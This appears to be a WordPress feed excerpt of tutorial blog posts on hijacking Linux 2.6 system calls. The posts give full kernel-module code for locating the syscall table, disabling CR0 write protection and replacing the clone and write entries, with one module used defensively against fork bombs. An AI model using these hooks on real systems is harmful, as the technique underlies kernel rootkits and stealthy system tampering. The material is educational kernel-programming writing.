The idea is very trivial: we can find this address by a brute-force scan on the kernel reserved memory, in order to find the syscall table address. The kernel memory ranges from 0xc0000000 to 0xd0000000 (in 32-bit architecture).<br />
We can compare the known locations with exported system calls, so finding the syscall table address. Even if the syscall table address is no longer exported, a few system calls (like sys_close) are still exported and available in the kernel modules.<br />
I don&#8217;t like very much this method because scanning all the memory is computationally expensive. But, it works! :)<br />
This is the &#8220;find()&#8221; function that takes care of the task:</p>
<pre class="brush: cpp; title: ; notranslate">
...

#define START_MEM	0xc0000000
#define END_MEM		0xd0000000

...

unsigned long **find() {

	unsigned long **sctable;
	unsigned long int i = START_MEM;

	while ( i &lt; END_MEM) {

		sctable = (unsigned long **)i;

		if ( sctable[__NR_close] == (unsigned long *) sys_close) {

			return &amp;sctable[0];

		}
		
		i += sizeof(void *);
	}

	return NULL;
}
</pre>
<p>Simply it scans the memory from START_MEM to END_MEM: when the &#8220;__NR_close&#8221;-th address of &#8220;sctable&#8221; is equals to the &#8220;sys_close()&#8221; address, we are sure that &#8220;sctable&#8221; is pointing to the syscall table. So we have only to return this address and use it as usual.<br />
Follows the LKM source code (&#8220;bruteforce.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/errno.h&gt;
#include &lt;linux/types.h&gt;
#include &lt;linux/unistd.h&gt;
#include &lt;asm/current.h&gt;
#include &lt;linux/sched.h&gt;
#include &lt;linux/syscalls.h&gt;
 #include &lt;asm/system.h&gt;

MODULE_LICENSE(&quot;GPL&quot;);

#define START_MEM	0xc0000000
#define END_MEM		0xd0000000

unsigned long *syscall_table; 

unsigned long **find() {

	unsigned long **sctable;
	unsigned long int i = START_MEM;

	while ( i &lt; END_MEM) {

		sctable = (unsigned long **)i;

		if ( sctable[__NR_close] == (unsigned long *) sys_close) {

			return &amp;sctable[0];

		}
		
		i += sizeof(void *);
	}

	return NULL;
}

static int init(void) {

	printk(&quot;\nModule starting...\n&quot;);

	syscall_table = (unsigned long *) find();

	if ( syscall_table != NULL ) {
	
		printk(&quot;Syscall table found at %x\n&quot;, (unsigned ) syscall_table);
	
	} else {
	
		printk(&quot;Syscall table not found!\n&quot;);
		
	}	

	return 0;
}

static void exit(void) {

    printk(&quot;Module ending\n&quot;);

    return;
}

module_init(init);
module_exit(exit);
</pre>
<p>Here is the Makefile:</p>
<pre class="brush: cpp; title: ; notranslate">
obj-m	:= bruteforce.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>We can compile it:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio:~/Hijack/bruteforce$ make
make -C /lib/modules/2.6.35-22-generic/build SUBDIRS=/home/spaccio/Hijack/bruteforce modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.35-22-generic'
  CC [M]  /home/spaccio/Hijack/bruteforce/bruteforce.o
/home/spaccio/Hijack/bruteforce/bruteforce.c:19: warning: function declaration isn’t a prototype
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/spaccio/Hijack/bruteforce/bruteforce.mod.o
  LD [M]  /home/spaccio/Hijack/bruteforce/bruteforce.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.35-22-generic'
spaccio@spaccio:~/Hijack/bruteforce$
</pre>
<p>Finally we can run it:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio:~/Hijack/bruteforce$ sudo insmod bruteforce.ko
spaccio@spaccio:~/Hijack/bruteforce$
</pre>
<p>Now we check if the address found is correct or not:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio:~/Hijack/bruteforce$ dmesg | tail
...
[  725.653763] Module starting...
[  725.988959] Syscall table found at c05d2180
spaccio@spaccio:~/Hijack/bruteforce$
spaccio@spaccio:~/Hijack/bruteforce$ cat /boot/System.map-2.6.35-22-generic | grep sys_call_table
c05d2180 R sys_call_table
spaccio@spaccio:~/Hijack/bruteforce$
</pre>
<p>As expected, the syscall address is correct.<br />
You can include the &#8220;find()&#8221; function in your LKM, so finding dinamically the syscall table address.<br />
Bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/454/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/454/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=454&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>Syscall Hijacking: Anti Fork-Bomb LKM (kernel 2.6.x)</title>
		<link>http://memset.wordpress.com/2011/02/10/syscall-hijacking-anti-fork-bomb-lkm-kernel-2-6-x/</link>
		<comments>http://memset.wordpress.com/2011/02/10/syscall-hijacking-anti-fork-bomb-lkm-kernel-2-6-x/#comments</comments>
		<pubDate>Thu, 10 Feb 2011 10:50:21 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[fork bomb]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[Kernel 2.6]]></category>
		<category><![CDATA[Programming C]]></category>
		<category><![CDATA[Syscall]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=432</guid>
		<description><![CDATA[Hi. In this post I&#8217;ll show you how to implement a simple anti fork-bomb LKM. There is already a kernel method to prevent the fork bomb: you can search online about this stuff. Instead I&#8217;ll show you how prevent a fork bomb attack through a simple loadable kernel module, in order to better understand how [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=432&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi. In this post I&#8217;ll show you how to implement a simple anti fork-bomb LKM.<br />
There is already a kernel method to prevent the fork bomb: you can search online about this stuff.<br />
Instead I&#8217;ll show you how prevent a fork bomb attack through a simple loadable kernel module, in order to better understand how a new process is created and how we can prevent its creation.<span id="more-432"></span><br />
First of all, we need to know which system calls are called when we &#8220;fork()&#8221; a process.<br />
We can write an ad-hoc script that only runs a &#8220;fork()&#8221; (&#8220;simple_fork.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;stdio.h&gt;

int main() {

	fork();

	return 0;

}
</pre>
<p>We can compile it, run it and trace (man strace) the executable:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ gcc simple_fork.c -o simple_fork
spaccio@spaccio-laptop:~$ ./simple_fork
spaccio@spaccio-laptop:~$ strace ./simple_fork
execve(&quot;./simple_fork&quot;, [&quot;./simple_fork&quot;], [/* 47 vars */]) = 0
...
munmap(0xb78e0000, 88209)               = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb78dfb98) = 6731
exit_group(0)                           = ?
spaccio@spaccio-laptop:~$
</pre>
<p>As you can see, the &#8220;clone()&#8221; function (man clone) is called: why is&#8217;nt called the &#8220;fork()&#8221; function instead?<br />
Looking at &#8220;man fork()&#8221;:</p>
<pre>
Since version 2.3.3, rather than invoking the kernel's fork() system call, the
glibc fork() wrapper that is provided as part of the NPTL threading
implementation invokes clone(2) with flags that provide the same effect as the
traditional system call.  The glibc wrapper invokes any fork handlers that
have been established using pthread_atfork(3).
</pre>
<p>If you want to pursue about this topic, I suggest you to read this <a href="http://blog.andrewvc.com/fork2-is-dead-long-live-fork-i-mean-clone2">post</a> that explain it very well.<br />
In the previous glibc version could be called directly the fork system call.<br />
We want to know which system calls are associated to both the functions:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat /usr/include/asm-generic/unistd.h |grep -e clone -e fork
/* kernel/fork.c */
#define __NR_clone 220
__SYSCALL(__NR_clone, sys_clone)	/* .long sys_clone_wrapper */
#define __NR_vfork 1071
__SYSCALL(__NR_vfork, sys_vfork)
#define __NR_fork 1079
__SYSCALL(__NR_fork, sys_fork)
__SYSCALL(__NR_fork, sys_ni_syscall)
#define __NR_syscalls (__NR_fork+1)
spaccio@spaccio-laptop:~$ 
</pre>
<p>&#8220;Clone()&#8221; is a libc wrapper for the &#8220;sys_clone&#8221; system call: it&#8217;s defined in &#8220;arch/x86/kernel/process_32.c&#8221; (otherwise in a 64bit architecture in &#8220;process_64.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
asmlinkage int sys_clone(struct pt_regs regs)
{
	unsigned long clone_flags;
	unsigned long newsp;
	int __user *parent_tidptr, *child_tidptr;

	clone_flags = regs.bx;
	newsp = regs.cx;
	parent_tidptr = (int __user *)regs.dx;
	child_tidptr = (int __user *)regs.di;
	if (!newsp)
		newsp = regs.sp;
	return do_fork(clone_flags, newsp, &amp;regs, 0, parent_tidptr, child_tidptr);
}
</pre>
<p>Istead the &#8220;fork()&#8221; is a wrapper for the &#8220;sys_fork&#8221; system call (again defined into &#8220;process_32.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
asmlinkage int sys_fork(struct pt_regs regs)
{
	return do_fork(SIGCHLD, regs.sp, &amp;regs, 0, NULL, NULL);
}
</pre>
<p>Both the functions call the &#8220;do_fork()&#8221; function that handles the creation of a new process.<br />
In this post I&#8217;ll treat only the &#8220;clone&#8221; system call.<br />
The idea of this fork-bomb prevention is  very simple: we have to hijack the &#8220;clone&#8221; system call and check for the current process number. If this number is greater then a threshold we prevent the creation of a new process.<br />
We know how <a href="http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/">hijack</a> a system call. Now we need to know how count the number of the running process in our system.<br />
The kernel gives us a macro that we can use for our purpose:</p>
<pre class="brush: cpp; title: ; notranslate">
#define for_each_process(p) \
        for (p = &amp;init_task ; (p = next_task(p)) != &amp;init_task ; )
</pre>
<p>This macro is defined in &#8220;linux/sched.h&#8221;. It simply scans all the processes in the system.<br />
The &#8220;next_task()&#8221; function is defined as follows:</p>
<pre class="brush: cpp; title: ; notranslate">
#define next_task(p)    list_entry((p)-&gt;tasks.next, struct task_struct, tasks)
</pre>
<p>The definition of &#8220;list_entry()&#8221; is the following:</p>
<pre class="brush: cpp; title: ; notranslate">
/*
 * list_entry - get the struct for this entry
 * @ptr:        the &amp;struct list_head pointer.
 * @type:       the type of the struct this is embedded in.
 * @member:     the name of the list_struct within the struct.
 */
#define list_entry(ptr, type, member) \
        container_of(ptr, type, member)
</pre>
<p>Thanks to this macro we can list all the running processes:</p>
<pre class="brush: cpp; title: ; notranslate">
struct task_struct *task;

for_each_process(task) {
	printk(&quot;%s =&gt; %d\n&quot;, task-&gt;comm ,  task-&gt;pid);
}
</pre>
<p>So we have only to count the number of processes found:</p>
<pre class="brush: cpp; title: ; notranslate">
int numb_proc = 0;
struct task_struct *task;

for_each_process(task) {

	numb_proc++;
}
</pre>
<p>Now we have only to hijack the &#8220;clone&#8221; system call (you can extend the module intercepting the &#8220;fork&#8221; system call) and check for the processes number.<br />
Follows the code of the kernel module (&#8220;antifork.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/errno.h&gt;
#include &lt;linux/types.h&gt;
#include &lt;linux/unistd.h&gt;
#include &lt;asm/current.h&gt;
#include &lt;linux/sched.h&gt;

#define THRESHOLD	123

unsigned long *syscall_table = (unsigned long *)0xc05d2180; 

asmlinkage int (*original_clone)(struct pt_regs regs);

asmlinkage int new_clone(struct pt_regs regs) {

	int numb_proc = 0;
	struct task_struct *task;

	for_each_process(task) {

		numb_proc++;
	}

	printk(&quot;Current process number %d\n&quot;, numb_proc);

	if ( numb_proc &gt; THRESHOLD) {

		printk(&quot;Fork not permitted\n&quot;);
		return -EAGAIN;
	}

	return (*original_clone)(regs);

}

static int init(void) {

    printk(KERN_ALERT &quot;\nHIJACK INIT\n&quot;);

    write_cr0 (read_cr0 () &amp; (~ 0x10000));

    original_clone = (void *)syscall_table[__NR_clone];
    syscall_table[__NR_clone] = new_clone;  

    write_cr0 (read_cr0 () | 0x10000);

    return 0;
}

static void exit(void) {

    write_cr0 (read_cr0 () &amp; (~ 0x10000));

    syscall_table[__NR_clone] = original_clone;  

    write_cr0 (read_cr0 () | 0x10000);

    printk(KERN_ALERT &quot;MODULE EXIT\n&quot;);

    return;
}

module_init(init);
module_exit(exit);
</pre>
<p>Obviously, in order to work properly you need to change the &#8220;syscall_table&#8221; address according to your. If you don&#8217;t know how to do it, you can read <a href="http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/">this</a> and <a href="http://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/">this</a> posts.<br />
Here is the Makefile:</p>
<pre class="brush: cpp; title: ; notranslate">
obj-m	:= antifork.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>We can compile it:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ make
make -C /lib/modules/2.6.35-22-generic/build SUBDIRS=/home/spaccio/ modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.35-22-generic'
  CC [M]  /home/spaccio/antifork.o
/home/spaccio/antifork.c: In function ‘init’:
/home/spaccio/antifork.c:45: warning: assignment makes integer from pointer without a cast
/home/spaccio/antifork.c: In function ‘exit’:
/home/spaccio/antifork.c:56: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/spaccio/antifork.mod.o
  LD [M]  /home/spaccio/antifork.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.35-22-generic'
spaccio@spaccio-laptop:~$ 
</pre>
<p>Now we can load the module and check for the processes number:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sudo insmod antifork.ko 
spaccio@spaccio-laptop:~$ tail /var/log/messages 
...
Feb  7 21:33:39 spaccio kernel: [  699.921277] Current process number 123
spaccio@spaccio-laptop:~$
</pre>
<p>Voluntarily I&#8217;ve decreased the threshold in the source to 123 so  I can test the module correctness.<br />
Now, if I run the &#8220;simple_fork&#8221; script, the module hijacks the clone system call, checks for the processes number and will prevent to create a new process:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ ./simple_fork
fork: Resource temporarily unavailable
spaccio@spaccio-laptop:~$
</pre>
<p>As you can see we can&#8217;t create a new process. We can also verify this from the &#8220;messages&#8221; log:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ tail /var/log/messages 
...
Feb  7 21:37:17 spaccio kernel: [  917.821033] Current process number 123
Feb  7 21:37:17 spaccio kernel: [  917.833976] Current process number 124
Feb  7 21:37:17 spaccio kernel: [  917.834047] Fork not permitted
</pre>
<p>The current process number was greater than the threshold so the kernel module blocks the fork.<br />
The post is finished and I hope that it can help you to better understand the kernel programming and how the kernel handles the fork bomb prevention.<br />
As usual, for any questions you can use comments.<br />
Bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/432/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=432&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2011/02/10/syscall-hijacking-anti-fork-bomb-lkm-kernel-2-6-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>Syscall Hijacking: Dynamically obtain syscall table address (kernel 2.6.x)</title>
		<link>http://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/</link>
		<comments>http://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 18:30:06 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[Kernel 2.6]]></category>
		<category><![CDATA[Programming C]]></category>
		<category><![CDATA[Syscall]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=379</guid>
		<description><![CDATA[Hi. In this post I&#8217;ll show you how to obtain dynamically the syscall table address. In the last posts (this and this) I wrote codes in which the syscall table address was hardcoded (as suggested by sj). Now I&#8217;ll show you how to dinamically obtain it. Searching online you&#8217;ll see that there are lot of [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=379&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi. In this post I&#8217;ll show you how to obtain dynamically the syscall table address. In the last posts (<a href="http://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/">this</a> and <a href="http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/">this</a>) I wrote codes in which the syscall table address was hardcoded (as suggested by <a href="http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/#comment-33">sj</a>).<br />
Now I&#8217;ll show you how to dinamically obtain it.<span id="more-379"></span><br />
Searching online you&#8217;ll see that there are lot of functions that seek the syscall address between some other variable addresses defined in &#8220;/boot/System.map-kerne_version&#8221;.<br />
Here is an example (by <a href="http://kerneltrap.org/node/6416">kerneltrap.org</a>):</p>
<pre class="brush: cpp; title: ; notranslate">
unsigned long **find_sys_call_table(void)  {

   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&amp;loops_per_jiffy;
        ptr &lt; (unsigned long)&amp;boot_cpu_data; 
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &amp;sctable[0];
      }
   }

   return NULL;
}
</pre>
<p>This function searches the syscall address between the &#8220;loops_per_jiffy&#8221; and &#8220;cpu_boot_data&#8221; addresses. This code doesn&#8217;t make sense in the lastest kernel releases because &#8220;loops_per_jiffy&#8221; has been &#8220;moved&#8221;, so sys_call_table is not between it and &#8220;boot_cpu_data&#8221; any more. Furthermore, it is based on the erroneous assumption that &#8220;sys_call_table&#8221; is always between two fixed addresses. Its position may change and this is true not only for the lastest kernel release, but also for the older ones.<br />
For example in my ubuntu machine (kernel 2.6.35-24-generic):</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat /boot/System.map-2.6.35-24-generic |grep -e &quot;D loops_per_jiffy&quot; -e &quot;sys_call_table&quot; -e &quot;D boot_cpu_data&quot;

c05d3180 R sys_call_table
c07c8bc8 D loops_per_jiffy
c0815040 D boot_cpu_data

spaccio@spaccio-laptop:~$ 
</pre>
<p>As you can see:</p>
<pre>
c05d3180 (sys_call_table) &lt; c07c8bc8 (loops_per_jiffy) &lt; c0815040 (boot_cpu_data)
</pre>
<p>So: how can we be sure to obtain the correct address?<br />
We can do a brute force scan on memory addresses searching for the syscall table address: but this is a bad solution.<br />
Instead I&#8217;ve found two solutions: the first one finds the address at compile-time; the second one finds the address at run-time when the kernel module is loaded into the memory.</p>
<p>- Finding syscall table address at compile-time</p>
<p>We can simply obtain the syscall table address using some shell (bash) commands in the &#8220;Makefile&#8221;. So at first we scan the &#8220;System.map-kernel_version&#8221; file searching for the syscall address. Next we replace it into the kernel module and we compile it as usual.<br />
Here is the bash command that finds the syscall table address into &#8220;System.map-kernel_version&#8221;:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}'
c05d3180
spaccio@spaccio-laptop:~$
</pre>
<p>So we have to write a bash executable (compile.sh) that:</p>
<p>- finds the syscall table address;<br />
- inserts it into the .c source;<br />
- runs the Makefile;</p>
<p>Here is the bash file (&#8220;compile.sh&#8221;):</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/bash

TABLE=$(grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}')
sed -i s/TABLE/$TABLE/g hijack.c

make
</pre>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ chmod +x compile.sh
spaccio@spaccio-laptop:~$
</pre>
<p>Here is the &#8220;Makefile&#8221;:</p>
<pre class="brush: bash; title: ; notranslate">
obj-m	:= hijack.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
</pre>
<p>Here is the LKM (&#8220;hijack.c&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/errno.h&gt;
#include &lt;linux/types.h&gt;
#include &lt;linux/unistd.h&gt;
#include &lt;asm/cacheflush.h&gt;
#include &lt;asm/page.h&gt;
#include &lt;asm/current.h&gt;
#include &lt;linux/sched.h&gt;
#include &lt;linux/kallsyms.h&gt;

unsigned long *syscall_table = (unsigned long *)0xTABLE; 

asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);

asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) {

    // hijacked write

    printk(KERN_ALERT &quot;WRITE HIJACKED&quot;);

    return (*original_write)(fd, buf, count);
}

static int init(void) {

    printk(KERN_ALERT &quot;\nHIJACK INIT\n&quot;);

    write_cr0 (read_cr0 () &amp; (~ 0x10000));

    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write;  

    write_cr0 (read_cr0 () | 0x10000);

    return 0;
}

static void exit(void) {

    write_cr0 (read_cr0 () &amp; (~ 0x10000));

    syscall_table[__NR_write] = original_write;  

    write_cr0 (read_cr0 () | 0x10000);

    printk(KERN_ALERT &quot;MODULE EXIT\n&quot;);

    return;
}

module_init(init);
module_exit(exit);
</pre>
<p>We can compile it:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sh compile.sh
make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod2 modules
make[1]: ingresso nella directory &quot;/usr/src/linux-headers-2.6.35-24-generic&quot;
  CC [M]  /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.o
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘init’:
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:33: warning: assignment makes integer from pointer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘exit’:
/home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:44: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.ko
make[1]: uscita dalla directory &quot;/usr/src/linux-headers-2.6.35-24-generic&quot;
</pre>
<p>Now if you open the &#8220;hijack.c&#8221; file you&#8217;ll see that instead of the &#8220;TABLE&#8221; there is the syscall table address:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat hijack.c |grep *syscall_table
unsigned long *syscall_table = (unsigned long *)0xc05d3180; 
spaccio@spaccio-laptop:~$
</pre>
<p>We can run it:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ sudo insmod hijack.ko
spaccio@spaccio-laptop:~$ 
</pre>
<p>Great, it works!<br />
This is a very simple, working and efficient solution, but I wanted a more sophisticated one.</p>
<p>- Finding syscall table address at run-time</p>
<p>I invented this method, so it might not be very elegant and/or efficient (any help will be appreciated for improvements). I wanted to open and search the syscall table address into the &#8220;System.map-kernel_version&#8221; file via a LKM.<br />
In order to obtain the syscall table address at run-time we have to follow this steps:</p>
<p>1 &#8211; Find where the system stores the kernel version that we are using. When we have found the kernel version we can open the relative &#8220;/boot/System.map-kernel_version&#8221; file;<br />
2 &#8211; Open the &#8220;/boot/System.map-kernel_version&#8221; file found at step 1.<br />
3 &#8211; Search for the syscall table address and use it;</p>
<p>We can find the kernel version reading it from the &#8220;/proc/&#8221; filesystem. We are especially interested in a file:</p>
<pre class="brush: bash; title: ; notranslate">
spaccio@spaccio-laptop:~$ cat /proc/version
Linux version 2.6.35-24-generic (buildd@vernadsky) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5) ) #42-Ubuntu SMP Thu Dec 2 01:41:57 UTC 2010
spaccio@spaccio-laptop:~$
</pre>
<p>The &#8220;version&#8221; file consists of a string describing the Linux kernel version number. It contains the version information that would be obtained by the uname (man uname) system call plus additional information such as the version of the compiler that was used to compile the kernel.<br />
The following function opens the &#8220;/proc/version&#8221; file and tokenizes the string in order to obtain only the kernel version string:</p>
<pre class="brush: cpp; title: ; notranslate">
...
#define PROC_V			&quot;/proc/version&quot;
#define MAX_LEN			256
...

char *search_file(char *buf) {
	
	struct file *f;
	char *ver;
	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	f = filp_open(PROC_V, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return NULL;
	
	}
	
	memset(buf, 0, MAX_LEN);
	
	vfs_read(f, buf, MAX_LEN, &amp;f-&gt;f_pos);
	
	ver = strsep(&amp;buf, &quot; &quot;);
	ver = strsep(&amp;buf, &quot; &quot;);
	ver = strsep(&amp;buf, &quot; &quot;);
	
	printk(KERN_ALERT &quot;Kernel version found: %s\n&quot;, ver);
		
	filp_close(f, 0);	
	set_fs(oldfs);
	
	return ver;

}
</pre>
<p>As you can see, I open the &#8220;/proc/version&#8221; file and I read MAX_LEN byte from it. (If you want to know how we can open/read/write to a file in a kernel space, you should read <a href="http://www.linuxjournal.com/article/8110">this</a>).<br />
So we have in the &#8220;buf&#8221; variable a string: the string shows our kernel version and other informations. We only extract the kernel version through the &#8220;strsep()&#8221; function (man strsep). In kernel space we can&#8217;t use the &#8220;strtok()&#8221; function (it&#8217;s not defined), so we have to use the &#8220;strsep()&#8221; one.<br />
Now we have the kernel version: we can proceed to the second and third steps.<br />
First we must open the &#8220;/boot/System.map-kernel_version&#8221; file where we have to replace &#8220;kernel_version&#8221; with the kernel version found at step 1. We read strings line by line from this file until the &#8220;sys_call_table&#8221; string is found. We tokenize the string obtaining the relative address and we&#8217;ll use it to hijack the system calls we are interested.<br />
Here is the code:</p>
<pre class="brush: cpp; title: ; notranslate">
...
#define BOOT_PATH		&quot;/boot/System.map-&quot;
...

static int find_sys_call_table (char *kern_ver)
 {

	char buf[MAX_LEN];
	int i = 0;
	char *filename;
	char *p;
	struct file *f = NULL;

	mm_segment_t oldfs;

	oldfs = get_fs();
	set_fs (KERNEL_DS);
	
	filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL);
	
	if ( filename == NULL ) {
	
		return -1;
	
	}
	
	memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1);
	
	strncpy(filename, BOOT_PATH, strlen(BOOT_PATH));
	strncat(filename, kern_ver, strlen(kern_ver));
	
	printk(KERN_ALERT &quot;\nPath %s\n&quot;, filename);
	
	f = filp_open(filename, O_RDONLY, 0);
	
	if ( IS_ERR(f) || ( f == NULL )) {
	
		return -1;
	
	}

	memset(buf, 0x0, MAX_LEN);

	p = buf;

	while (vfs_read(f, p+i, 1, &amp;f-&gt;f_pos) == 1) {

		if ( p[i] == '\n' || i == 255 ) {
		
			i = 0;
			
			if ( (strstr(p, &quot;sys_call_table&quot;)) != NULL ) {
				
				char *sys_string;
				
				sys_string = kmalloc(MAX_LEN, GFP_KERNEL);	
				
				if ( sys_string == NULL ) { 
				
					filp_close(f, 0);
					set_fs(oldfs);
	
					kfree(filename);
	
					return -1;
	
				}

				memset(sys_string, 0, MAX_LEN);
				strncpy(sys_string, strsep(&amp;p, &quot; &quot;), MAX_LEN);
			
				syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
				
				kfree(sys_string);
				
				break;
			}
			
			memset(buf, 0x0, MAX_LEN);
			continue;
		}
		
		i++;
	
	}

	filp_close(f, 0);
	set_fs(oldfs);
	
	kfree(filename);

	return 0;
}
</pre>
<p>Code explanation:</p>
